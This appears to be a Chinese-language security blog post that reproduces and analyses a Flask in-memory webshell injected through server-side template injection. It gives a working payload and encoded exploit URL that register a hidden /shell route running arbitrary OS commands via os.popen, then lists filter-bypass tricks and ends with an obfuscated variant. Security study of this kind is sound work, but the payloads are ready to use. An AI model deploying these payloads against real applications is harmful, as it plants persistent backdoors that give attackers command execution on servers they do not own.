浅析Python Flask内存马
/0x00 前言
最近看到一个Python Flask内存马,学习一下:https://github.com/iceyhexman/flask_memory_shell
0x01 Python Flask内存马
复现
简单写个Flask SSTI漏洞环境:
1 | from flask import Flask, request, render_template_string |
原始Flask内存马payload,其中的默认命令也可以去掉:
1 | url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']}) |
访问如下URL生成Flask内存马:
1 | http://127.0.0.1:5000/?name={{url_for.__globals__[%27__builtins__%27][%27eval%27](%22app.add_url_rule(%27/shell%27,%20%27shell%27,%20lambda%20:__import__(%27os%27).popen(_request_ctx_stack.top.request.args.get(%27cmd%27,%20%27whoami%27)).read())%22,{%27_request_ctx_stack%27:url_for.__globals__[%27_request_ctx_stack%27],%27app%27:url_for.__globals__[%27current_app%27]})}} |
最后访问/shell内存马接口即可执行任意命令:
分析
我们将payload拆开来逐层分析:
1 | url_for.__globals__['__builtins__']['eval']( |
url_for.__globals__['__builtins__']['eval']
这个是Flask SSTI中的payload。
url_for()是Flask的一个内置函数:
通过Flask内置函数可以调用其__globals__
属性,该特殊属性能够返回函数所在模块命名空间的所有变量,其中包含了很多已经引入的modules,这里看到是支持__builtins__
的:
__builtins__
即是引用,Python程序一旦启动,它就会在程序员所写的代码运行之前就已经被加载到内存中了,而对于__builtins__
却不用导入,它在任何模块都直接可见,所以可以直接调用引用的模块。其中是包含eval、exec等函数的:
直接调用就能执行命令了:
app.add_url_rule()函数
在Flask中注册路由的时候是添加的`@app.route()`装饰器来实现的。
点进去看到其源码实现,其调用了add_url_rule()函数来添加路由:
add_url_rule()函数定义:
1 | add_url_rule(rule, endpoint=None, view_func=None, provide_automatic_options=None, **options) |
参数说明:
- rule:函数对应的URL规则,满足条件和app.route()的第一个参数一样,必须以
/
开头; - endpoint:端点,即在使用url_for()进行反转的时候,这里传入的第一个参数就是endpoint对应的值。这个值也可以不指定,那么默认就会使用函数的名字作为endpoint的值;
- view_func:URL对应的函数(注意,这里只需写函数名字而不用加括号);
- provide_automatic_options:控制是否应自动添加选项方法。这也可以通过设置视图来控制_func.provide_automatic_options =添加规则前为False;
- options:要转发到基础规则对象的选项。Werkzeug的一个变化是处理方法选项。方法是此规则应限制的方法列表(GET、POST等)。默认情况下,规则只侦听GET(并隐式地侦听HEAD)。从Flask0.6开始,通过标准请求处理隐式添加和处理选项;
由此可见,payload这部分是动态添加了一条路由,而处理该路由的函数是个由lambda关键字定义的匿名函数。
lambda与_request_ctx_stack
lambda即匿名函数,payload中add_url_rule()函数的第三个参数定义了一个lambda匿名函数,其中通过os库的popen()函数执行从Web请求中获取的cmd参数值并返回结果,其中该参数值默认为whoami。
_request_ctx_stack
是Flask的一个全局变量,是一个LocalStack实例。
Flask请求上下文管理机制:当一个请求进入Flask,首先会实例化一个Request Context,这个上下文封装了请求的信息在Request中,并将这个上下文推入到一个名为_request_ctx_stack
的栈结构中,也就是说获取当前的请求上下文等同于获取_request_ctx_stack
的栈顶元素_request_ctx_stack.top
。
绕过变形
以Python沙箱逃逸的技巧为例:
url_for
可用get_flashed_messages
或request.application.__self__._get_data_for_json
等替换;- 代码执行函数替换,如exec等替换eval;
- 字符串可采用拼接方式,如
['__builtins__']['eval']
变为['__bui'+'ltins__']['ev'+'al']
; __globals__
可用__getattribute__('__globa'+'ls__')
替换;[]
中括号可用.__getitem__()
或.pop()
替换;- …
1 | request.application.__self__._get_data_for_json.__getattribute__('__globa'+'ls__').__getitem__('__bui'+'ltins__').__getitem__('ex'+'ec')("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'calc')).read())",{'_request_ct'+'x_stack':get_flashed_messages.__getattribute__('__globa'+'ls__').pop('_request_'+'ctx_stack'),'app':get_flashed_messages.__getattribute__('__globa'+'ls__').pop('curre'+'nt_app')}) |